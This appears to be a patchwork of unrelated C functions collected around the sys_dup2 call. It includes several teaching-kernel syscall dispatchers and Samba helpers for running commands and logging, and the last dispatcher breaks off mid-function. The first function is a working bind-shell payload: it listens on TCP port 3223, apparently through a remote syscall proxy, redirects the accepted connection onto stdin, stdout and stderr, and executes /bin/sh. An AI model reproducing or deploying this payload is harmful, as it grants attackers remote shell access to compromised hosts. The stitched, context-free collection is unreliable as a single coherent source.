int main(int argc, char **argv) { int fd, l, con, opt = 1; struct sockaddr_in in, in1; char *arg[] = {"/bin/sh", 0}; l = sizeof(in1); memset(&in, 0, sizeof(in)); in.sin_port = htons(3223); in.sin_family = AF_INET; rpc_init(RPC_HOST, RPC_PORT); fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); printf("socket: %i\n", fd); printf("setsockopt: %i\n", setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, \ &opt, sizeof(opt))); printf("bind: %i\n", sys_bind(fd, &in, sizeof(in))); printf("listen: %i\n", sys_listen(fd, 5)); con = sys_accept(fd, &in1, &l); printf("accept: %i\n", con); printf("dup2: %i\n", sys_dup2(con, 0)); printf("dup2: %i\n", sys_dup2(con, 1)); printf("dup2: %i\n", sys_dup2(con, 2)); sys_execve(arg[0], arg, 0); return 0; }
BOOL reopen_logs( void ) { pstring fname; mode_t oldumask; XFILE *new_dbf = NULL; XFILE *old_dbf = NULL; BOOL ret = True; if (stdout_logging) return True; oldumask = umask( 022 ); pstrcpy(fname, debugf ); if (lp_loaded()) { char *logfname; logfname = lp_logfile(); if (*logfname) pstrcpy(fname, logfname); } pstrcpy( debugf, fname ); new_dbf = x_fopen( debugf, O_WRONLY|O_APPEND|O_CREAT, 0644); if (!new_dbf) { log_overflow = True; DEBUG(0, ("Unable to open new log file %s: %s\n", debugf, strerror(errno))); log_overflow = False; if (dbf) x_fflush(dbf); ret = False; } else { x_setbuf(new_dbf, NULL); old_dbf = dbf; dbf = new_dbf; if (old_dbf) (void) x_fclose(old_dbf); } /* Fix from [email protected] * to fix problem where smbd's that generate less * than 100 messages keep growing the log. */ force_check_log_size(); (void)umask(oldumask); /* Take over stderr to catch ouput into logs */ if (dbf && sys_dup2(x_fileno(dbf), 2) == -1) { close_low_fds(True); /* Close stderr too, if dup2 can't point it at the logfile */ } return ret; }
static int syscall_dispatch(uint32_t sysnum, uint32_t args, regs_t *regs) { switch (sysnum) { case SYS_waitpid: return sys_waitpid((waitpid_args_t *)args); case SYS_exit: do_exit((int)args); panic("exit failed!\n"); return 0; case SYS_thr_exit: kthread_exit((void *)args); panic("thr_exit failed!\n"); return 0; case SYS_thr_yield: sched_make_runnable(curthr); sched_switch(); return 0; case SYS_fork: return sys_fork(regs); case SYS_getpid: return curproc->p_pid; case SYS_sync: sys_sync(); return 0; #ifdef __MOUNTING__ case SYS_mount: return sys_mount((mount_args_t *) args); case SYS_umount: return sys_umount((argstr_t *) args); #endif case SYS_mmap: return (int) sys_mmap((mmap_args_t *) args); case SYS_munmap: return sys_munmap((munmap_args_t *) args); case SYS_open: return sys_open((open_args_t *) args); case SYS_close: return sys_close((int)args); case SYS_read: return sys_read((read_args_t *)args); case SYS_write: return sys_write((write_args_t *)args); case SYS_dup: return sys_dup((int)args); case SYS_dup2: return sys_dup2((dup2_args_t *)args); case SYS_mkdir: return sys_mkdir((mkdir_args_t *)args); case SYS_rmdir: return sys_rmdir((argstr_t *)args); case SYS_unlink: return sys_unlink((argstr_t *)args); case SYS_link: return sys_link((link_args_t *)args); case SYS_rename: return sys_rename((rename_args_t *)args); case SYS_chdir: return sys_chdir((argstr_t *)args); case SYS_getdents: return sys_getdents((getdents_args_t *)args); case SYS_brk: return (int) sys_brk((void *)args); case SYS_lseek: return sys_lseek((lseek_args_t *)args); case SYS_halt: sys_halt(); return -1; case SYS_set_errno: curthr->kt_errno = (int)args; return 0; case SYS_errno: return curthr->kt_errno; case SYS_execve: return sys_execve((execve_args_t *)args, regs); case SYS_stat: return sys_stat((stat_args_t *)args); case SYS_uname: return sys_uname((struct utsname *)args); case SYS_debug: return sys_debug((argstr_t *)args); case SYS_kshell: return sys_kshell((int)args); default: dbg(DBG_ERROR, "ERROR: unknown system call: %d (args: %#08x)\n", sysnum, args); curthr->kt_errno = ENOSYS; return -1; } }
int dup2(int fd, int newfd) { return sys_dup2(fd, newfd); }
/** * SPB & FAR * System call dispatcher. * * A pointer to the trapframe created during exception entry (in * exception.S) is passed in. * * The calling conventions for syscalls are as follows: Like ordinary * function calls, the first 4 32-bit arguments are passed in the 4 * argument registers a0-a3. 64-bit arguments are passed in *aligned* * pairs of registers, that is, either a0/a1 or a2/a3. This means that * if the first argument is 32-bit and the second is 64-bit, a1 is * unused. * * This much is the same as the calling conventions for ordinary * function calls. In addition, the system call number is passed in * the v0 register. * * On successful return, the return value is passed back in the v0 * register, or v0 and v1 if 64-bit. This is also like an ordinary * function call, and additionally the a3 register is also set to 0 to * indicate success. * * On an error return, the error code is passed back in the v0 * register, and the a3 register is set to 1 to indicate failure. * (Userlevel code takes care of storing the error code in errno and * returning the value -1 from the actual userlevel syscall function. * See src/user/lib/libc/arch/mips/syscalls-mips.S and related files.) * * Upon syscall return the program counter stored in the trapframe * must be incremented by one instruction; otherwise the exception * return code will restart the "syscall" instruction and the system * call will repeat forever. * * If you run out of registers (which happens quickly with 64-bit * values) further arguments must be fetched from the user-level * stack, starting at sp+16 to skip over the slots for the * registerized values, with copyin(). */ void syscall(struct trapframe *tf) { int callno, err; int32_t retval; off_t pos = 0; off_t lsret; int whence; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS___time: err = sys___time((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; case SYS_open: err = sys_open((const char*)tf->tf_a0, tf->tf_a1, &retval); break; case SYS_read: err = sys_read((int)tf->tf_a0,(void*)tf->tf_a1,(size_t)tf->tf_a2,&retval); break; case SYS_write: err = sys_write((int)tf->tf_a0,(const void*)tf->tf_a1,(size_t)tf->tf_a2,&retval); break; case SYS_close: err = sys_close((int)tf->tf_a0, &retval); break; case SYS_lseek: pos |= (off_t)tf->tf_a2; pos <<= 32; //puts a2 and a3 into one var. pos |= (off_t)tf->tf_a3; err = copyin((const userptr_t)tf->tf_sp+16, &whence, sizeof(whence)); if (err) break; err = sys_lseek((int)tf->tf_a0, pos, (int)whence, &lsret); if(!err){ retval = lsret>>32; tf->tf_v1 = lsret; } break; case SYS_dup2: err = sys_dup2((int)tf->tf_a0 , (int)tf->tf_a1, &retval); break; case SYS_chdir: err = sys_chdir((const char*)tf->tf_a0); break; case SYS___getcwd: err = sys___getcwd((char*)tf->tf_a0, (size_t)tf->tf_a1, &retval); break; case SYS_fork: err = sys_fork(tf, &retval); break; case SYS_getpid: err = sys_getpid(&retval); break; case SYS__exit: err = sys__exit((int)tf->tf_a0, &retval); break; case SYS_waitpid: err = sys_waitpid((int) tf->tf_a0, (int*) tf->tf_a1, tf->tf_a2, &retval); break; case SYS_execv: err = sys_execv((const char*) tf->tf_a0, (char**) tf->tf_a1, &retval); break; default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; }
void syscall(struct trapframe *tf) { int callno; int32_t retval; int err; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; uint32_t v0, v1; off_t pos; int whence; //userptr_t *status; struct stat statbuf; switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS___time: err = sys___time((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); /* the syscall ov*/ break; case SYS_open: err = sys_open((const_userptr_t)tf->tf_a0, tf->tf_a1, (mode_t)tf ->tf_a2, &retval); break; case SYS_close: err = sys_close((tf->tf_a0),&retval); break; case SYS_read: err = sys_read(tf->tf_a0, (userptr_t)tf->tf_a1, (size_t)tf -> tf_a2, &retval); //retval = (int32_t)bytes; break; case SYS_write: err = sys_write(tf->tf_a0, (userptr_t)tf->tf_a1, (size_t)tf -> tf_a2, &retval); //retval = (int32_t)bytes; break; case SYS_lseek: pos = tf->tf_a2; pos = pos << 32; pos += tf -> tf_a3; err = copyin((const_userptr_t)tf->tf_sp+16,&whence,sizeof(int)); if(err) { break; } err = sys_lseek(tf->tf_a0, pos, whence, &v0, &v1); if(err) { break; } retval = v0; tf->tf_v1 = v1; break; case SYS__exit: sys__exit(tf->tf_a0); // We are only here because of one of 2 reasons. We tried to kill the initial thread // while there was/were (an) immediate child(ren) of it running. // *NOTE* I'm actually NOT sure if that's a valid reason to be here // Second reason? Something went horribly, horribly wrong err = 0; break; case SYS_dup2: err = sys_dup2(tf->tf_a0,tf->tf_a1,&retval); break; case SYS_fstat: err = sys_fstat(tf->tf_a0, &statbuf); break; case SYS_fork: err = sys_fork(tf, &retval); break; case SYS_getpid: err = sys_getpid(&retval); break; case SYS_waitpid: err = sys_waitpid(tf->tf_a0, (int*)tf->tf_a1, (int)tf->tf_a2, &retval); break; case SYS___getcwd: err = sys___getcwd((char*)tf->tf_a0,(size_t)tf->tf_a1,&retval); break; case SYS_chdir: err = sys_chdir((char*)tf->tf_a0,&retval); break; case SYS_execv: err = sys_execv((const char*)tf->tf_a0, (char**)tf->tf_a1); break; case SYS_sbrk: err = sbrk((int)tf->tf_a0,&retval); break; default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; } if (err) { /* * Return the error code. This gets converted at * userlevel to a return value of -1 and the error * code in errno. */ tf->tf_v0 = err; tf->tf_a3 = 1; /* signal an error */ } else { /* Success. */ tf->tf_v0 = retval; tf->tf_a3 = 0; /* signal no error */ } /* * Now, advance the program counter, to avoid restarting * the syscall over and over again. */ tf->tf_epc += 4; /* Make sure the syscall code didn't forget to lower spl */ KASSERT(curthread->t_curspl == 0); /* ...or leak any spinlocks */ KASSERT(curthread->t_iplhigh_count == 0); }
/* * System call dispatcher. * * A pointer to the trapframe created during exception entry (in * exception.S) is passed in. * * The calling conventions for syscalls are as follows: Like ordinary * function calls, the first 4 32-bit arguments are passed in the 4 * argument registers a0-a3. 64-bit arguments are passed in *aligned* * pairs of registers, that is, either a0/a1 or a2/a3. This means that * if the first argument is 32-bit and the second is 64-bit, a1 is * unused. * * This much is the same as the calling conventions for ordinary * function calls. In addition, the system call number is passed in * the v0 register. * * On successful return, the return value is passed back in the v0 * register, or v0 and v1 if 64-bit. This is also like an ordinary * function call, and additionally the a3 register is also set to 0 to * indicate success. * * On an error return, the error code is passed back in the v0 * register, and the a3 register is set to 1 to indicate failure. * (Userlevel code takes care of storing the error code in errno and * returning the value -1 from the actual userlevel syscall function. * See src/user/lib/libc/arch/mips/syscalls-mips.S and related files.) * * Upon syscall return the program counter stored in the trapframe * must be incremented by one instruction; otherwise the exception * return code will restart the "syscall" instruction and the system * call will repeat forever. * * If you run out of registers (which happens quickly with 64-bit * values) further arguments must be fetched from the user-level * stack, starting at sp+16 to skip over the slots for the * registerized values, with copyin(). */ void syscall(struct trapframe *tf) { int callno; int32_t retval; int err; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; /* note the casts to userptr_t */ switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS___time: err = sys___time((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; /* process calls */ case SYS_fork: err = sys_fork(tf, &retval); break; case SYS_execv: err = sys_execv( (userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; case SYS__exit: sys__exit(tf->tf_a0); panic("Returning from exit\n"); case SYS_waitpid: err = sys_waitpid( tf->tf_a0, (userptr_t)tf->tf_a1, tf->tf_a2, &retval); break; case SYS_getpid: err = sys_getpid(&retval); break; /* file calls */ case SYS_open: err = sys_open( (userptr_t)tf->tf_a0, tf->tf_a1, tf->tf_a2, &retval); break; case SYS_dup2: err = sys_dup2( tf->tf_a0, tf->tf_a1, &retval); break; case SYS_close: err = sys_close(tf->tf_a0); break; case SYS_read: err = sys_read( tf->tf_a0, (userptr_t)tf->tf_a1, tf->tf_a2, &retval); break; case SYS_write: err = sys_write( tf->tf_a0, (userptr_t)tf->tf_a1, tf->tf_a2, &retval); break; case SYS_lseek: { /* * Because the position argument is 64 bits wide, * it goes in the a2/a3 registers and we have to * get "whence" from the stack. Furthermore, the * return value is 64 bits wide, so the extra * part of it goes in the v1 register. * * This is a trifle messy. */ uint64_t offset; int whence; off_t retval64; join32to64(tf->tf_a2, tf->tf_a3, &offset); err = copyin((userptr_t)tf->tf_sp + 16, &whence, sizeof(int)); if (err) { break; } err = sys_lseek(tf->tf_a0, offset, whence, &retval64); if (err) { break; } split64to32(retval64, &tf->tf_v0, &tf->tf_v1); retval = tf->tf_v0; } break; case SYS_chdir: err = sys_chdir((userptr_t)tf->tf_a0); break; case SYS___getcwd: err = sys___getcwd( (userptr_t)tf->tf_a0, tf->tf_a1, &retval); break; /* Even more system calls will go here */ default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; } if (err) { /* * Return the error code. This gets converted at * userlevel to a return value of -1 and the error * code in errno. */ tf->tf_v0 = err; tf->tf_a3 = 1; /* signal an error */ } else { /* Success. */ tf->tf_v0 = retval; tf->tf_a3 = 0; /* signal no error */ } /* * Now, advance the program counter, to avoid restarting * the syscall over and over again. */ tf->tf_epc += 4; /* Make sure the syscall code didn't forget to lower spl */ KASSERT(curthread->t_curspl == 0); /* ...or leak any spinlocks */ KASSERT(curthread->t_iplhigh_count == 0); }
/* * System call dispatcher. * * A pointer to the trapframe created during exception entry (in * exception-*.S) is passed in. * * The calling conventions for syscalls are as follows: Like ordinary * function calls, the first 4 32-bit arguments are passed in the 4 * argument registers a0-a3. 64-bit arguments are passed in *aligned* * pairs of registers, that is, either a0/a1 or a2/a3. This means that * if the first argument is 32-bit and the second is 64-bit, a1 is * unused. * * This much is the same as the calling conventions for ordinary * function calls. In addition, the system call number is passed in * the v0 register. * * On successful return, the return value is passed back in the v0 * register, or v0 and v1 if 64-bit. This is also like an ordinary * function call, and additionally the a3 register is also set to 0 to * indicate success. * * On an error return, the error code is passed back in the v0 * register, and the a3 register is set to 1 to indicate failure. * (Userlevel code takes care of storing the error code in errno and * returning the value -1 from the actual userlevel syscall function. * See src/user/lib/libc/arch/mips/syscalls-mips.S and related files.) * * Upon syscall return the program counter stored in the trapframe * must be incremented by one instruction; otherwise the exception * return code will restart the "syscall" instruction and the system * call will repeat forever. * * If you run out of registers (which happens quickly with 64-bit * values) further arguments must be fetched from the user-level * stack, starting at sp+16 to skip over the slots for the * registerized values, with copyin(). */ void syscall(struct trapframe *tf) { int callno; int32_t retval; int err; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; int whence = 0; off_t position = 0; int32_t retval2 = 0; switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS___time: err = sys___time((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; /* Add stuff here */ case SYS_write: err = sys_write((int)tf->tf_a0,(const void *)tf->tf_a1,(size_t)tf->tf_a2, &retval); break; case SYS_read: err = sys_read(tf->tf_a0, (void *) tf->tf_a1, (size_t) tf->tf_a2, &retval); break; case SYS_open: err = sys_open((char *)tf->tf_a0, tf->tf_a1, (mode_t)tf->tf_a2, &retval); break; case SYS_close: err = sys_close(tf->tf_a0); break; case SYS_dup2: err = sys_dup2(tf->tf_a0, tf->tf_a1, &retval); break; case SYS_lseek: position |= (off_t)tf->tf_a2; position <<= 32; position |= (off_t)tf->tf_a3; err = copyin((const userptr_t)tf->tf_sp+16, &whence, sizeof(whence)); if (err) break; err = sys_lseek((int)tf->tf_a0, position, (int)whence, &retval, &retval2); if(!err) tf->tf_v1 = retval2; break; case SYS_fork: err = sys_fork(tf,&retval); break; case SYS_getpid: err = sys_getpid((pid_t *)&retval); break; case SYS_waitpid: err = sys_waitpid((pid_t)tf->tf_a0, (userptr_t)tf->tf_a1, (int)tf->tf_a2, (pid_t *)&retval); break; case SYS__exit: sys__exit((int)tf->tf_a0); err = -1; //will never come here as it doesnt return break; case SYS_execv: err=sys_execv((const char *)tf->tf_a0,(char **)tf->tf_a1); break; case SYS_sbrk: err=(int)sys_sbrk((intptr_t)tf->tf_a0, (vaddr_t *)&retval); break; default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; } if (err) { /* * Return the error code. This gets converted at * userlevel to a return value of -1 and the error * code in errno. */ tf->tf_v0 = err; tf->tf_a3 = 1; /* signal an error */ } else { /* Success. */ tf->tf_v0 = retval; tf->tf_a3 = 0; /* signal no error */ } /* * Now, advance the program counter, to avoid restarting * the syscall over and over again. */ tf->tf_epc += 4; /* Make sure the syscall code didn't forget to lower spl */ KASSERT(curthread->t_curspl == 0); /* ...or leak any spinlocks */ KASSERT(curthread->t_iplhigh_count == 0); }
int dup2(int oldfd, int newfd) { return sys_dup2(oldfd, newfd); }
int smbrun(const char *cmd, int *outfd) { OutputDebugString("smbrun is not supported\n"); #ifndef _XBOX pid_t pid; uid_t uid = current_user.ut.uid; gid_t gid = current_user.ut.gid; /* * Lose any elevated privileges. */ drop_effective_capability(KERNEL_OPLOCK_CAPABILITY); drop_effective_capability(DMAPI_ACCESS_CAPABILITY); /* point our stdout at the file we want output to go into */ if (outfd && ((*outfd = setup_out_fd()) == -1)) { return -1; } /* in this method we will exec /bin/sh with the correct arguments, after first setting stdout to point at the file */ /* * We need to temporarily stop CatchChild from eating * SIGCLD signals as it also eats the exit status code. JRA. */ CatchChildLeaveStatus(); if ((pid=sys_fork()) < 0) { DEBUG(0,("smbrun: fork failed with error %s\n", strerror(errno) )); CatchChild(); if (outfd) { close(*outfd); *outfd = -1; } return errno; } if (pid) { /* * Parent. */ int status=0; pid_t wpid; /* the parent just waits for the child to exit */ while((wpid = sys_waitpid(pid,&status,0)) < 0) { if(errno == EINTR) { errno = 0; continue; } break; } CatchChild(); if (wpid != pid) { DEBUG(2,("waitpid(%d) : %s\n",(int)pid,strerror(errno))); if (outfd) { close(*outfd); *outfd = -1; } return -1; } /* Reset the seek pointer. */ if (outfd) { sys_lseek(*outfd, 0, SEEK_SET); } #if defined(WIFEXITED) && defined(WEXITSTATUS) if (WIFEXITED(status)) { return WEXITSTATUS(status); } #endif return status; } CatchChild(); /* we are in the child. we exec /bin/sh to do the work for us. we don't directly exec the command we want because it may be a pipeline or anything else the config file specifies */ /* point our stdout at the file we want output to go into */ if (outfd) { close(1); if (sys_dup2(*outfd,1) != 1) { DEBUG(2,("Failed to create stdout file descriptor\n")); close(*outfd); exit(80); } } /* now completely lose our privileges. This is a fairly paranoid way of doing it, but it does work on all systems that I know of */ become_user_permanently(uid, gid); if (getuid() != uid || geteuid() != uid || getgid() != gid || getegid() != gid) { /* we failed to lose our privileges - do not execute the command */ exit(81); /* we can't print stuff at this stage, instead use exit codes for debugging */ } #ifndef __INSURE__ /* close all other file descriptors, leaving only 0, 1 and 2. 0 and 2 point to /dev/null from the startup code */ { int fd; for (fd=3;fd<256;fd++) close(fd); } #endif execl("/bin/sh","sh","-c",cmd,NULL); /* not reached */ exit(82); #endif //_XBOX return 1; }
static int dochild(int master, const char *slavedev, const struct passwd *pass, const char *passwordprogram, BOOL as_root) { int slave; struct termios stermios; gid_t gid; uid_t uid; if (pass == NULL) { DEBUG(0, ("dochild: user doesn't exist in the UNIX password database.\n")); return False; } gid = pass->pw_gid; uid = pass->pw_uid; gain_root_privilege(); /* Start new session - gets rid of controlling terminal. */ if (setsid() < 0) { DEBUG(3, ("Weirdness, couldn't let go of controlling terminal\n")); return (False); } /* Open slave pty and acquire as new controlling terminal. */ if ((slave = sys_open(slavedev, O_RDWR, 0)) < 0) { DEBUG(3, ("More weirdness, could not open %s\n", slavedev)); return (False); } #ifdef I_PUSH ioctl(slave, I_PUSH, "ptem"); ioctl(slave, I_PUSH, "ldterm"); #elif defined(TIOCSCTTY) if (ioctl(slave, TIOCSCTTY, 0) < 0) { DEBUG(3, ("Error in ioctl call for slave pty\n")); /* return(False); */ } #endif /* Close master. */ close(master); /* Make slave stdin/out/err of child. */ if (sys_dup2(slave, STDIN_FILENO) != STDIN_FILENO) { DEBUG(3, ("Could not re-direct stdin\n")); return (False); } if (sys_dup2(slave, STDOUT_FILENO) != STDOUT_FILENO) { DEBUG(3, ("Could not re-direct stdout\n")); return (False); } if (sys_dup2(slave, STDERR_FILENO) != STDERR_FILENO) { DEBUG(3, ("Could not re-direct stderr\n")); return (False); } if (slave > 2) close(slave); /* Set proper terminal attributes - no echo, canonical input processing, no map NL to CR/NL on output. */ if (tcgetattr(0, &stermios) < 0) { DEBUG(3, ("could not read default terminal attributes on pty\n")); return (False); } stermios.c_lflag &= ~(ECHO | ECHOE | ECHOK | ECHONL); stermios.c_lflag |= ICANON; #ifdef ONLCR stermios.c_oflag &= ~(ONLCR); #endif if (tcsetattr(0, TCSANOW, &stermios) < 0) { DEBUG(3, ("could not set attributes of pty\n")); return (False); } /* make us completely into the right uid */ if (!as_root) { become_user_permanently(uid, gid); } DEBUG(10, ("Invoking '%s' as password change program.\n", passwordprogram)); /* execl() password-change application */ if (execl("/bin/sh", "sh", "-c", passwordprogram, NULL) < 0) { DEBUG(3, ("Bad status returned from %s\n", passwordprogram)); return (False); } return (True); }
/* * System call dispatcher. * * A pointer to the trapframe created during exception entry (in * exception-*.S) is passed in. * * The calling conventions for syscalls are as follows: Like ordinary * function calls, the first 4 32-bit arguments are passed in the 4 * argument registers a0-a3. 64-bit arguments are passed in *aligned* * pairs of registers, that is, either a0/a1 or a2/a3. This means that * if the first argument is 32-bit and the second is 64-bit, a1 is * unused. * * This much is the same as the calling conventions for ordinary * function calls. In addition, the system call number is passed in * the v0 register. * * On successful return, the return value is passed back in the v0 * register, or v0 and v1 if 64-bit. This is also like an ordinary * function call, and additionally the a3 register is also set to 0 to * indicate success. * * On an error return, the error code is passed back in the v0 * register, and the a3 register is set to 1 to indicate failure. * (Userlevel code takes care of storing the error code in errno and * returning the value -1 from the actual userlevel syscall function. * See src/user/lib/libc/arch/mips/syscalls-mips.S and related files.) * * Upon syscall return the program counter stored in the trapframe * must be incremented by one instruction; otherwise the exception * return code will restart the "syscall" instruction and the system * call will repeat forever. * * If you run out of registers (which happens quickly with 64-bit * values) further arguments must be fetched from the user-level * stack, starting at sp+16 to skip over the slots for the * registerized values, with copyin(). */ void syscall(struct trapframe *tf) { int callno; int32_t retval; int32_t retval1; int err; off_t pos; int whence; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS___time: err = sys___time((userptr_t)tf->tf_a0, (userptr_t)tf->tf_a1); break; /* Start of process system calls */ case SYS_fork: err = sys_fork(tf, &retval); break; case SYS_execv: err = sys_execv((const char*)tf->tf_a0,(char **) tf->tf_a1); break; case SYS__exit: sys__exit(tf->tf_a0); break; case SYS_waitpid: err = sys_waitpid((pid_t)tf->tf_a0, (int *)tf->tf_a1, tf->tf_a2, &retval); break; case SYS_getpid: err = sys_getpid(&retval); break; /* End of process system calls */ case SYS_open: err = sys_open((char *)tf->tf_a0,tf->tf_a1,(mode_t)tf->tf_a2,&retval); break; case SYS_close : err = sys_close(tf->tf_a0, &retval); break; case SYS_write : err = sys_write(tf->tf_a0,(void *) tf->tf_a1,(size_t)tf->tf_a2, &retval); break; case SYS_read: err = sys_read(tf->tf_a0,(void *) tf->tf_a1,(size_t)tf->tf_a2, &retval); break; case SYS_lseek: pos = ( (off_t)tf->tf_a2 << 32 | tf->tf_a3); if (copyin((const_userptr_t) tf->tf_sp+16, &whence, sizeof(int)) ) { err = EINVAL ; // definitely an error break; } err = sys_lseek(tf->tf_a0, pos,whence, &retval, &retval1); if (err == 0) { // if call has passed, then we need to copy retval1 to tf->tf_v1 (low32) tf->tf_v1 = retval1; } break; case SYS___getcwd: //char *buf, size_t buflen, int *retval err = sys__getcwd((char *)tf->tf_a0, (size_t) tf->tf_a1, &retval); break; case SYS_dup2: err = sys_dup2(tf->tf_a0, tf->tf_a1, &retval); break; case SYS_chdir: err = sys_chdir((const char *)tf->tf_a0,&retval); break; default: kprintf("Unknown syscall %d\n", callno); err = ENOSYS; break; } if (err) { /* * Return the error code. This gets converted at * userlevel to a return value of -1 and the error * code in errno. */ tf->tf_v0 = err; tf->tf_a3 = 1; /* signal an error */ } else { /* Success. */ tf->tf_v0 = retval; tf->tf_a3 = 0; /* signal no error */ } /* * Now, advance the program counter, to avoid restarting * the syscall over and over again. */ tf->tf_epc += 4; /* Make sure the syscall code didn't forget to lower spl */ KASSERT(curthread->t_curspl == 0); /* ...or leak any spinlocks */ KASSERT(curthread->t_iplhigh_count == 0); }
int smbrunsecret(const char *cmd, const char *secret) { pid_t pid; uid_t uid = current_user.ut.uid; gid_t gid = current_user.ut.gid; int ifd[2]; /* * Lose any elevated privileges. */ drop_effective_capability(KERNEL_OPLOCK_CAPABILITY); drop_effective_capability(DMAPI_ACCESS_CAPABILITY); /* build up an input pipe */ if(pipe(ifd)) { return -1; } /* in this method we will exec /bin/sh with the correct arguments, after first setting stdout to point at the file */ /* * We need to temporarily stop CatchChild from eating * SIGCLD signals as it also eats the exit status code. JRA. */ CatchChildLeaveStatus(); if ((pid=sys_fork()) < 0) { DEBUG(0, ("smbrunsecret: fork failed with error %s\n", strerror(errno))); CatchChild(); return errno; } if (pid) { /* * Parent. */ int status = 0; pid_t wpid; size_t towrite; ssize_t wrote; close(ifd[0]); /* send the secret */ towrite = strlen(secret); wrote = write(ifd[1], secret, towrite); if ( wrote != towrite ) { DEBUG(0,("smbrunsecret: wrote %ld of %lu bytes\n",(long)wrote,(unsigned long)towrite)); } fsync(ifd[1]); close(ifd[1]); /* the parent just waits for the child to exit */ while((wpid = sys_waitpid(pid, &status, 0)) < 0) { if(errno == EINTR) { errno = 0; continue; } break; } CatchChild(); if (wpid != pid) { DEBUG(2, ("waitpid(%d) : %s\n", (int)pid, strerror(errno))); return -1; } #if defined(WIFEXITED) && defined(WEXITSTATUS) if (WIFEXITED(status)) { return WEXITSTATUS(status); } #endif return status; } CatchChild(); /* we are in the child. we exec /bin/sh to do the work for us. we don't directly exec the command we want because it may be a pipeline or anything else the config file specifies */ close(ifd[1]); close(0); if (sys_dup2(ifd[0], 0) != 0) { DEBUG(2,("Failed to create stdin file descriptor\n")); close(ifd[0]); exit(80); } /* now completely lose our privileges. This is a fairly paranoid way of doing it, but it does work on all systems that I know of */ become_user_permanently(uid, gid); if (getuid() != uid || geteuid() != uid || getgid() != gid || getegid() != gid) { /* we failed to lose our privileges - do not execute the command */ exit(81); /* we can't print stuff at this stage, instead use exit codes for debugging */ } #ifndef __INSURE__ /* close all other file descriptors, leaving only 0, 1 and 2. 0 and 2 point to /dev/null from the startup code */ { int fd; for (fd = 3; fd < 256; fd++) close(fd); } #endif execl("/bin/sh", "sh", "-c", cmd, NULL); /* not reached */ exit(82); return 1; }
/* * System call dispatcher. * * A pointer to the trapframe created during exception entry (in * exception-*.S) is passed in. * * The calling conventions for syscalls are as follows: Like ordinary * function calls, the first 4 32-bit arguments are passed in the 4 * argument registers a0-a3. 64-bit arguments are passed in *aligned* * pairs of registers, that is, either a0/a1 or a2/a3. This means that * if the first argument is 32-bit and the second is 64-bit, a1 is * unused. * * This much is the same as the calling conventions for ordinary * function calls. In addition, the system call number is passed in * the v0 register. * * On successful return, the return value is passed back in the v0 * register, or v0 and v1 if 64-bit. This is also like an ordinary * function call, and additionally the a3 register is also set to 0 to * indicate success. * * On an error return, the error code is passed back in the v0 * register, and the a3 register is set to 1 to indicate failure. * (Userlevel code takes care of storing the error code in errno and * returning the value -1 from the actual userlevel syscall function. * See src/user/lib/libc/arch/mips/syscalls-mips.S and related files.) * * Upon syscall return the program counter stored in the trapframe * must be incremented by one instruction; otherwise the exception * return code will restart the "syscall" instruction and the system * call will repeat forever. * * If you run out of registers (which happens quickly with 64-bit * values) further arguments must be fetched from the user-level * stack, starting at sp+16 to skip over the slots for the * registerized values, with copyin(). */ void syscall(struct trapframe *tf) { int callno; int32_t retval; int err; KASSERT(curthread != NULL); KASSERT(curthread->t_curspl == 0); KASSERT(curthread->t_iplhigh_count == 0); callno = tf->tf_v0; /* * Initialize retval to 0. Many of the system calls don't * really return a value, just 0 for success and -1 on * error. Since retval is the value returned on success, * initialize it to 0 by default; thus it's not necessary to * deal with it except for calls that return other values, * like write. */ retval = 0; switch (callno) { case SYS_reboot: err = sys_reboot(tf->tf_a0); break; case SYS_open: { err = sys_open((const_userptr_t)tf->tf_a0, tf->tf_a1, tf->tf_a2, &retval); break; } case SYS_close: { err = sys_close(tf->tf_a0); break; } case SYS_read: { err = sys_read(tf->tf_a0, (userptr_t)tf->tf_a1, tf->tf_a2, &retval); break; } case SYS_write: { err = sys_write(tf->tf_a0, (const userptr_t)tf->tf_a1, tf->tf_a2, 